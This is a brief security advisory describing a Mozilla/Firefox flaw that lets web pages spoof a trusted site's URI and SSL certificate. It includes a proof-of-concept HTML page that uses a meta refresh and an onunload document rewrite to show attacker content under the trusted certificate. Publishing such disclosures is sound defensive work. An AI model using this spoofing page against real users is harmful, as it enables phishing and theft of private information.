source: https://www.securityfocus.com/bid/10796/info

Mozilla and Firefox may permit malicious Web pages to spoof security properties of a trusted site.

An attacker can exploit this issue to spoof the URI and SSL certificate of a site trusted by an unsuspecting user. The attacker can then use this spoofing to steal sensitive or private information, facilitating phishing attacks

< HTML>
< HEAD>
< TITLE>Spoofer< /TITLE>
< META HTTP-EQUIV="REFRESH" CONTENT="0;URL=https://www.example.com">
< /HEAD>
< BODY
onunload="
document.close();
document.writeln('< body onload=document.close();break;>
< h3>It is Great to Use example's Cert!');

document.close();
window.location.reload();
">
< /body>